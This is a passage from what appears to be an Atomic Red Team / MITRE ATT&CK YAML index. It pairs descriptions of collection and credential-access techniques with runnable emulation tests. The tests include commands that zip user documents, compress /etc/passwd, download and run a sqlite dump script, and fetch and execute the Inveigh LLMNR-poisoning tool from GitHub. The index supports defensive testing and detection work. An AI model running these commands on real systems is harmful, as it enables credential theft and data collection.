x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - macOS - Windows - Network x_mitre_version: '1.6' x_mitre_data_sources: - 'Process: OS API Execution' - 'Script: Script Execution' - 'Command: Command Execution' - 'Process: Process Creation' - 'File: File Access' x_mitre_system_requirements: - Privileges to access certain files and directories type: attack-pattern id: attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5 created: '2017-05-31T21:30:20.537Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1005 external_id: T1005 - source_name: show_run_config_cmd_cisco description: Cisco. (2022, August 16). show running-config - Cisco IOS Configuration Fundamentals Command Reference . Retrieved July 13, 2022. url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/show_protocols_through_showmon.html#wp2760878733 - source_name: 'Mandiant APT41 Global Intrusion ' description: 'Gyler, C.,Perez D.,Jones, S.,Miller, S.. (2021, February 25). This is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits. Retrieved February 17, 2022.' url: https://www.mandiant.com/resources/apt41-initiates-global-intrusion-campaign-using-multiple-exploits - source_name: US-CERT-TA18-106A description: US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020. url: https://www.us-cert.gov/ncas/alerts/TA18-106A object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1005 atomic_tests: - name: Search files of interest and save them to a single zip file (Windows) auto_generated_guid: d3d9af44-b8ad-4375-8b0a-4bff4b7e419c description: "This test searches for files of certain extensions and saves them to a single zip file prior to extraction. \n" supported_platforms: - windows input_arguments: starting_directory: description: Path to starting directory for the search type: Path default: C:\Users output_zip_folder_path: description: Path to directory for saving the generated zip file type: Path default: PathToAtomicsFolder\..\ExternalPayloads\T1005 file_extensions: description: List of file extensions to be searched and zipped, separated by comma and space type: string default: ".doc, .docx, .txt" executor: command: "$startingDirectory = \"#{starting_directory}\"\n$outputZip = \"#{output_zip_folder_path}\"\n$fileExtensionsString = \"#{file_extensions}\" \n$fileExtensions = $fileExtensionsString -split \", \"\n\nNew-Item -Type Directory $outputZip -ErrorAction Ignore -Force | Out-Null\n\nFunction Search-Files {\n param (\n [string]$directory\n \ )\n $files = Get-ChildItem -Path $directory -File -Recurse | Where-Object {\n $fileExtensions -contains $_.Extension.ToLower()\n }\n return $files\n}\n\n$foundFiles = Search-Files -directory $startingDirectory\nif ($foundFiles.Count -gt 0) {\n $foundFilePaths = $foundFiles.FullName\n Compress-Archive -Path $foundFilePaths -DestinationPath \"$outputZip\\data.zip\"\n\n Write-Host \"Zip file created: $outputZip\\data.zip\"\n } else {\n Write-Host \"No files found with the specified extensions.\"\n }\n" cleanup_command: 'Remove-Item -Path $outputZip\data.zip -Force ' name: powershell elevation_required: false - name: Find and dump sqlite databases (Linux) auto_generated_guid: 00cbb875-7ae4-4cf1-b638-e543fd825300 description: 'An adversary may know/assume that the user of a system uses sqlite databases which contain interest and sensitive data. In this test we download two databases and a sqlite dump script, then run a find command to find & dump the database content. ' supported_platforms: - linux input_arguments: remote_url: description: url of remote payload type: url default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1005/src dependencies: - description: 'Check if running on a Debian based machine. ' prereq_command: | if [ -x "$(command -v sqlite3)" ]; then echo "sqlite3 is installed"; else echo "sqlite3 is NOT installed"; exit 1; fi if [ -x "$(command -v curl)" ]; then echo "curl is installed"; else echo "curl is NOT installed"; exit 1; fi if [ -x "$(command -v strings)" ]; then echo "strings is installed"; else echo "strings is NOT installed"; exit 1; fi get_prereq_command: | if grep -iq "debian\|ubuntu\|kali\|mint" /usr/lib/os-release; then apt update && apt install -y binutils curl sqlite3; fi if grep -iq "rhel\|fedora\|centos" /usr/lib/os-release; then yum update -y && yum install -y binutils curl sqlite-devel; fi executor: name: bash elevation_required: false command: | cd $HOME curl -O #{remote_url}/art curl -O #{remote_url}/gta.db curl -O #{remote_url}/sqlite_dump.sh chmod +x sqlite_dump.sh find . ! -executable -exec bash -c 'if [[ "$(head -c 15 {} | strings)" == "SQLite format 3" ]]; then echo "{}"; ./sqlite_dump.sh {}; fi' \; cleanup_command: "rm -f $HOME/.art\nrm -f $HOME/gta.db\nrm -f $HOME/sqlite_dump.sh \n" T1560.002: technique: x_mitre_platforms: - Linux - macOS - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--41868330-6ee2-4d0f-b743-9f2294c3c9b6 type: attack-pattern created: '2020-02-20T21:08:52.529Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1560.002 url: https://attack.mitre.org/techniques/T1560/002 - source_name: PyPI RAR url: https://pypi.org/project/rarfile/ description: mkz. (2020). rarfile 3.1. Retrieved February 20, 2020. - source_name: libzip url: https://libzip.org/ description: D. Baron, T. Klausner. (2020). libzip. Retrieved February 20, 2020. - source_name: Zlib Github url: https://github.com/madler/zlib description: madler. (2017). zlib. Retrieved February 20, 2020. - url: https://en.wikipedia.org/wiki/List_of_file_signatures description: Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016. source_name: Wikipedia File Header Signatures modified: '2021-04-29T14:49:39.188Z' name: 'Archive Collected Data: Archive via Library' description: |- An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party libraries. Many libraries exist that can archive data, including [Python](https://attack.mitre.org/techniques/T1059/006) rarfile (Citation: PyPI RAR), libzip (Citation: libzip), and zlib (Citation: Zlib Github). Most libraries include functionality to encrypt and/or compress data. Some archival libraries are preinstalled on systems, such as bzip2 on macOS and Linux, and zip on Windows. Note that the libraries are different from the utilities. The libraries can be linked against when compiling, while the utilities require spawning a subshell, or a similar execution mechanism. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: collection x_mitre_detection: |- Monitor processes for accesses to known archival libraries. This may yield a significant number of benign events, depending on how systems in the environment are typically used. Consider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures) x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Script: Script Execution' - 'File: File Creation' spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1560.002 atomic_tests: - name: Compressing data using GZip in Python (FreeBSD/Linux) auto_generated_guid: 391f5298-b12d-4636-8482-35d9c17d53a8 description: 'Uses GZip from Python to compress files ' supported_platforms: - linux input_arguments: path_to_input_file: description: Path to the file that you want to compress type: path default: "/etc/passwd" path_to_output_file: description: Path of the file that you want your .gz file to be type: path default: "/tmp/passwd.gz" dependency_executor_name: sh dependencies: - description: 'Requires Python ' prereq_command: 'which python || which python3 ' get_prereq_command: 'echo "please install python to run this test"; exit 1 ' executor: name: sh elevation_required: false command: | which_python=`which python || which python3` $which_python -c "import gzip;input_file=open('#{path_to_input_file}', 'rb');content=input_file.read();input_file.close();output_file=gzip.GzipFile('#{path_to_output_file}','wb',compresslevel=6);output_file.write(content);output_file.close();" cleanup_command: 'rm #{path_to_output_file} ' - name: Compressing data using bz2 in Python (FreeBSD/Linux) auto_generated_guid: c75612b2-9de0-4d7c-879c-10d7b077072d description: 'Uses bz2 from Python to compress files ' supported_platforms: - linux input_arguments: path_to_input_file: description: Path to the file that you want to compress type: path default: "/etc/passwd" path_to_output_file: description: Path of the file that you want your .bz2 file to be type: path default: "/tmp/passwd.bz2" dependency_executor_name: sh dependencies: - description: 'Requires Python ' prereq_command: 'which python || which python3 ' get_prereq_command: 'echo "please install python to run this test"; exit 1 ' executor: name: sh elevation_required: false command: | which_python=`which python || which python3` $which_python -c "import bz2;input_file=open('#{path_to_input_file}','rb');content=input_file.read();input_file.close();bz2content=bz2.compress(content,compresslevel=9);output_file=open('#{path_to_output_file}','w+');output_file.write(str(bz2content));output_file.close();" cleanup_command: 'rm #{path_to_output_file} ' - name: Compressing data using zipfile in Python (FreeBSD/Linux) auto_generated_guid: 001a042b-859f-44d9-bf81-fd1c4e2200b0 description: 'Uses zipfile from Python to compress files ' supported_platforms: - linux input_arguments: path_to_input_file: description: Path to the file that you want to compress type: path default: "/etc/passwd" path_to_output_file: description: Path of the file that you want your .zip file to be type: path default: "/tmp/passwd.zip" dependency_executor_name: sh dependencies: - description: 'Requires Python ' prereq_command: 'which python || which python3 ' get_prereq_command: 'echo "please install python to run this test"; exit 1 ' executor: name: sh elevation_required: false command: | which_python=`which python || which python3` $which_python -c "from zipfile import ZipFile; ZipFile('#{path_to_output_file}', mode='w').write('#{path_to_input_file}')" cleanup_command: 'rm #{path_to_output_file} ' - name: Compressing data using tarfile in Python (FreeBSD/Linux) auto_generated_guid: e86f1b4b-fcc1-4a2a-ae10-b49da01458db description: 'Uses tarfile from Python to compress files ' supported_platforms: - linux input_arguments: path_to_input_file: description: Path to the file that you want to compress type: path default: "/etc/passwd" path_to_output_file: description: Path of the file that you want your .tar.gz file to be type: path default: "/tmp/passwd.tar.gz" dependency_executor_name: sh dependencies: - description: 'Requires Python ' prereq_command: 'which python || which python3 ' get_prereq_command: 'echo "please install python to run this test"; exit 1 ' executor: name: sh elevation_required: false command: "which_python=`which python || which python3`\n$which_python -c \"from zipfile import ZipFile; ZipFile('#{path_to_output_file}', mode='w').write('#{path_to_input_file}')\" \n" cleanup_command: 'rm #{path_to_output_file} ' T1602.002: technique: x_mitre_platforms: - Network x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--52759bf1-fe12-4052-ace6-c5b0cf7dd7fd type: attack-pattern created: '2020-10-20T00:08:21.745Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1602.002 url: https://attack.mitre.org/techniques/T1602/002 - source_name: US-CERT TA18-106A Network Infrastructure Devices 2018 url: https://us-cert.cisa.gov/ncas/alerts/TA18-106A description: US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020. - source_name: Cisco Blog Legacy Device Attacks url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954 description: Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020. - source_name: US-CERT TA18-068A 2018 url: https://www.us-cert.gov/ncas/alerts/TA18-086A description: US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019. modified: '2022-05-11T14:00:00.188Z' name: Network Device Configuration Dump description: "Adversaries may access network configuration files to collect sensitive data about the device and the network. The network configuration is a file containing parameters that determine the operation of the device. The device typically stores an in-memory copy of the configuration while operating, and a separate configuration on non-volatile storage to load after device reset. Adversaries can inspect the configuration files to reveal information about the target network and its layout, the network device and its software, or identifying legitimate accounts and credentials for later use.\n\nAdversaries can use common management tools and protocols, such as Simple Network Management Protocol (SNMP) and Smart Install (SMI), to access network configuration files.(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks) These tools may be used to query specific data from a configuration repository or configure the device to export the configuration for later analysis. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: collection x_mitre_detection: 'Identify network traffic sent or received by untrusted hosts or networks. Configure signatures to identify strings that may be found in a network device configuration.(Citation: US-CERT TA18-068A 2018)' x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Network Traffic: Network Connection Creation' - 'Network Traffic: Network Traffic Content' x_mitre_permissions_required: - Administrator spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1560: technique: modified: '2024-01-20T00:07:58.958Z' name: Archive Collected Data description: |- An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network.(Citation: DOJ GRU Indictment Jul 2018) Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender. Both compression and encryption are done prior to exfiltration, and can be performed using a utility, 3rd party library, or custom method. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: collection x_mitre_deprecated: false x_mitre_detection: |- Archival software and archived files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known archival utilities. This may yield a significant number of benign events, depending on how systems in the environment are typically used. A process that loads the Windows DLL crypt32.dll may be used to perform encryption, decryption, or verification of file signatures. Consider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures) x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - macOS - Windows x_mitre_version: '1.0' x_mitre_data_sources: - 'Command: Command Execution' - 'Script: Script Execution' - 'Process: Process Creation' - 'File: File Creation' type: attack-pattern id: attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a created: '2020-02-20T20:53:45.725Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1560 external_id: T1560 - source_name: DOJ GRU Indictment Jul 2018 description: Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018. url: https://www.justice.gov/file/1080281/download - source_name: Wikipedia File Header Signatures description: Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016. url: https://en.wikipedia.org/wiki/List_of_file_signatures object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1560 atomic_tests: - name: Compress Data for Exfiltration With PowerShell auto_generated_guid: 41410c60-614d-4b9d-b66e-b0192dd9c597 description: "An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration.\nWhen the test completes you should find the files from the $env:USERPROFILE directory compressed in a file called T1560-data-ps.zip in the $env:USERPROFILE directory \n" supported_platforms: - windows input_arguments: input_file: description: Path that should be compressed into our output file type: path default: "$env:USERPROFILE" output_file: description: Path where resulting compressed data should be placed type: path default: "$env:USERPROFILE\\T1560-data-ps.zip" executor: name: powershell elevation_required: false command: 'dir #{input_file} -Recurse | Compress-Archive -DestinationPath #{output_file} ' cleanup_command: 'Remove-Item -path #{output_file} -ErrorAction Ignore' T1185: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack x_mitre_contributors: - Justin Warner, ICEBRG object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47 type: attack-pattern created: '2018-01-16T16:13:52.465Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1185 external_id: T1185 - url: https://en.wikipedia.org/wiki/Man-in-the-browser description: Wikipedia. (2017, October 28). Man-in-the-browser. Retrieved January 10, 2018. source_name: Wikipedia Man in the Browser - url: https://www.cobaltstrike.com/help-browser-pivoting description: Mudge, R. (n.d.). Browser Pivoting. Retrieved January 10, 2018. source_name: Cobalt Strike Browser Pivot - url: https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses description: De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL BUSINESSES. Retrieved January 17, 2018. source_name: ICEBRG Chrome Extensions - url: https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf description: Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017. source_name: cobaltstrike manual modified: '2022-05-11T14:00:00.188Z' name: Browser Session Hijacking description: |- Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques.(Citation: Wikipedia Man in the Browser) A specific example is when an adversary injects software into a browser that allows them to inherit cookies, HTTP sessions, and SSL client certificates of a user then use the browser as a way to pivot into an authenticated intranet.(Citation: Cobalt Strike Browser Pivot)(Citation: ICEBRG Chrome Extensions) Executing browser-based behaviors such as pivoting may require specific process permissions, such as SeDebugPrivilege and/or high-integrity/administrator rights. Another example involves pivoting browser traffic from the adversary's browser through the user's browser by setting up a proxy which will redirect web traffic. This does not alter the user's traffic in any way, and the proxy connection can be severed as soon as the browser is closed. The adversary assumes the security context of whichever browser process the proxy is injected into. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could potentially browse to any resource on an intranet, such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) or webmail, that is accessible through the browser and which the browser has sufficient permissions. Browser pivoting may also bypass security provided by 2-factor authentication.(Citation: cobaltstrike manual) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: collection x_mitre_detection: This may be a difficult technique to detect because adversary traffic may be masked by normal user traffic. New processes may not be created and no additional software dropped to disk. Authentication logs can be used to audit logins to specific web applications, but determining malicious logins versus benign logins may be difficult if activity matches typical user behavior. Monitor for [Process Injection](https://attack.mitre.org/techniques/T1055) against browser applications. x_mitre_version: '2.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Process: Process Modification' - 'Process: Process Access' - 'Logon Session: Logon Session Creation' x_mitre_permissions_required: - Administrator - SYSTEM x_mitre_is_subtechnique: false spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1557.003: technique: modified: '2022-11-08T14:00:00.188Z' name: DHCP Spoofing description: "Adversaries may redirect network traffic to adversary-owned systems by spoofing Dynamic Host Configuration Protocol (DHCP) traffic and acting as a malicious DHCP server on the victim network. By achieving the adversary-in-the-middle (AiTM) position, adversaries may collect network communications, including passed credentials, especially those sent over insecure, unencrypted protocols. This may also enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).\n\nDHCP is based on a client-server model and has two functionalities: a protocol for providing network configuration settings from a DHCP server to a client and a mechanism for allocating network addresses to clients.(Citation: rfc2131) The typical server-client interaction is as follows: \n\n1. The client broadcasts a `DISCOVER` message.\n\n2. The server responds with an `OFFER` message, which includes an available network address. \n\n3. The client broadcasts a `REQUEST` message, which includes the network address offered. \n\n4. The server acknowledges with an `ACK` message and the client receives the network configuration parameters.\n\nAdversaries may spoof as a rogue DHCP server on the victim network, from which legitimate hosts may receive malicious network configurations. For example, malware can act as a DHCP server and provide adversary-owned DNS servers to the victimized computers.(Citation: new_rogue_DHCP_serv_malware)(Citation: w32.tidserv.g) Through the malicious network configurations, an adversary may achieve the AiTM position, route client traffic through adversary-controlled systems, and collect information from the client network.\n\nDHCPv6 clients can receive network configuration information without being assigned an IP address by sending a INFORMATION-REQUEST (code 11) message to the All_DHCP_Relay_Agents_and_Servers multicast address.(Citation: rfc3315) Adversaries may use their rogue DHCP server to respond to this request message with malicious network configurations.\n\nRather than establishing an AiTM position, adversaries may also abuse DHCP spoofing to perform a DHCP exhaustion attack (i.e, [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002)) by generating many broadcast DISCOVER messages to exhaust a network’s DHCP allocation pool. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access - kill_chain_name: mitre-attack phase_name: collection x_mitre_detection: 'Monitor network traffic for suspicious/malicious behavior involving DHCP, such as changes in DNS and/or gateway parameters. Additionally, monitor Windows logs for Event IDs (EIDs) 1341, 1342, 1020 and 1063, which specify that the IP allocations are low or have run out; these EIDs may indicate a denial of service attack.(Citation: dhcp_serv_op_events)(Citation: solution_monitor_dhcp_scopes)' x_mitre_platforms: - Linux - Windows - macOS x_mitre_is_subtechnique: true x_mitre_deprecated: false x_mitre_domains: - enterprise-attack x_mitre_version: '1.1' x_mitre_contributors: - Alex Spivakovsky, Pentera - Andrew Allen, @whitehat_zero x_mitre_data_sources: - 'Network Traffic: Network Traffic Content' - 'Application Log: Application Log Content' - 'Network Traffic: Network Traffic Flow' type: attack-pattern id: attack-pattern--59ff91cd-1430-4075-8563-e6f15f4f9ff5 created: '2022-03-24T19:30:56.727Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1557/003 external_id: T1557.003 - source_name: rfc2131 description: Droms, R. (1997, March). Dynamic Host Configuration Protocol. Retrieved March 9, 2022. url: https://datatracker.ietf.org/doc/html/rfc2131 - source_name: new_rogue_DHCP_serv_malware description: Irwin, Ullrich, J. (2009, March 16). new rogue-DHCP server malware. Retrieved January 14, 2022. url: https://isc.sans.edu/forums/diary/new+rogueDHCP+server+malware/6025/ - source_name: rfc3315 description: J. Bound, et al. (2003, July). Dynamic Host Configuration Protocol for IPv6 (DHCPv6). Retrieved June 27, 2022. url: https://datatracker.ietf.org/doc/html/rfc3315 - source_name: dhcp_serv_op_events description: Microsoft. (2006, August 31). DHCP Server Operational Events. Retrieved March 7, 2022. url: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn800668(v=ws.11) - source_name: solution_monitor_dhcp_scopes description: 'Shoemaker, E. (2015, December 31). Solution: Monitor DHCP Scopes and Detect Man-in-the-Middle Attacks with PRTG and PowerShell. Retrieved March 7, 2022.' url: https://lockstepgroup.com/blog/monitor-dhcp-scopes-and-detect-man-in-the-middle-attacks/ - source_name: w32.tidserv.g description: Symantec. (2009, March 22). W32.Tidserv.G. Retrieved January 14, 2022. url: https://web.archive.org/web/20150923175837/http://www.symantec.com/security_response/writeup.jsp?docid=2009-032211-2952-99&tabid=2 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1557.001: technique: modified: '2023-04-25T14:00:00.188Z' name: 'Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay' description: "By responding to LLMNR/NBT-NS network traffic, adversaries may spoof an authoritative source for name resolution to force communication with an adversary controlled system. This activity may be used to collect or relay authentication materials. \n\nLink-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR)(Citation: TechNet NetBIOS)\n\nAdversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to obtain the plaintext passwords.\n\nIn some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv1/v2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it.(Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay) Additionally, adversaries may encapsulate the NTLMv1/v2 hashes into various protocols, such as LDAP, SMB, MSSQL and HTTP, to expand and use multiple services with the valid NTLM response. \n\nSeveral tools may be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174).(Citation: GitHub NBNSpoof)(Citation: Rapid7 LLMNR Spoofer)(Citation: GitHub Responder)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access - kill_chain_name: mitre-attack phase_name: collection x_mitre_detection: |- Monitor HKLM\Software\Policies\Microsoft\Windows NT\DNSClient for changes to the "EnableMulticast" DWORD value. A value of “0” indicates LLMNR is disabled. (Citation: Sternsecurity LLMNR-NBTNS) Monitor for traffic on ports UDP 5355 and UDP 137 if LLMNR/NetBIOS is disabled by security policy. Deploy an LLMNR/NBT-NS spoofing detection tool.(Citation: GitHub Conveigh) Monitoring of Windows event logs for event IDs 4697 and 7045 may help in detecting successful relay techniques.(Citation: Secure Ideas SMB Relay) x_mitre_platforms: - Windows x_mitre_is_subtechnique: true x_mitre_deprecated: false x_mitre_domains: - enterprise-attack x_mitre_version: '1.4' x_mitre_contributors: - Eric Kuehn, Secure Ideas - Matthew Demaske, Adaptforward - Andrew Allen, @whitehat_zero x_mitre_data_sources: - 'Service: Service Creation' - 'Network Traffic: Network Traffic Flow' - 'Network Traffic: Network Traffic Content' - 'Windows Registry: Windows Registry Key Modification' type: attack-pattern id: attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e created: '2020-02-11T19:08:51.677Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1557/001 external_id: T1557.001 - source_name: Rapid7 LLMNR Spoofer description: Francois, R. (n.d.). LLMNR Spoofer. Retrieved November 17, 2017. url: https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr_response - source_name: GitHub Responder description: Gaffie, L. (2016, August 25). Responder. Retrieved November 17, 2017. url: https://github.com/SpiderLabs/Responder - source_name: Secure Ideas SMB Relay description: Kuehn, E. (2018, April 11). Ever Run a Relay? Why SMB Relays Should Be On Your Mind. Retrieved February 7, 2019. url: https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html - source_name: TechNet NetBIOS description: Microsoft. (n.d.). NetBIOS Name Resolution. Retrieved November 17, 2017. url: https://technet.microsoft.com/library/cc958811.aspx - source_name: GitHub NBNSpoof description: Nomex. (2014, February 7). NBNSpoof. Retrieved November 17, 2017. url: https://github.com/nomex/nbnspoof - source_name: GitHub Conveigh description: Robertson, K. (2016, August 28). Conveigh. Retrieved November 17, 2017. url: https://github.com/Kevin-Robertson/Conveigh - source_name: byt3bl33d3r NTLM Relaying description: Salvati, M. (2017, June 2). Practical guide to NTLM Relaying in 2017 (A.K.A getting a foothold in under 5 minutes). Retrieved February 7, 2019. url: https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html - source_name: Sternsecurity LLMNR-NBTNS description: 'Sternstein, J. (2013, November). Local Network Attacks: LLMNR and NBT-NS Poisoning. Retrieved November 17, 2017.' url: https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning - source_name: Wikipedia LLMNR description: Wikipedia. (2016, July 7). Link-Local Multicast Name Resolution. Retrieved November 17, 2017. url: https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.0.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1557.001 atomic_tests: - name: LLMNR Poisoning with Inveigh (PowerShell) auto_generated_guid: deecd55f-afe0-4a62-9fba-4d1ba2deb321 description: Inveigh conducts spoofing attacks and hash/credential captures through both packet sniffing and protocol specific listeners/sockets. This Atomic will run continuously until you cancel it or it times out. supported_platforms: - windows executor: command: |- [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr "https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/82be2377ade47a4e325217b4144878a59595e750/Inveigh.ps1" -UseBasicParsing) Invoke-Inveigh -ConsoleOutput Y -NBNS Y -MDNS Y -HTTPS Y -PROXY Y name: powershell elevation_required: true T1056.003: technique: modified: '2023-03-30T21:01:46.711Z' name: Web Portal Capture description: |- Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through [External Remote Services](https://attack.mitre.org/techniques/T1133) and [Valid Accounts](https://attack.mitre.org/techniques/T1078) or as part of the initial compromise by exploitation of the externally facing web service.(Citation: Volexity Virtual Private Keylogging) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: collection - kill_chain_name: mitre-attack phase_name: credential-access x_mitre_detection: File monitoring may be used to detect changes to files in the Web directory for organization login pages that do not match with authorized updates to the Web server's content. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_platforms: - Linux - macOS - Windows x_mitre_version: '1.0' x_mitre_data_sources: - 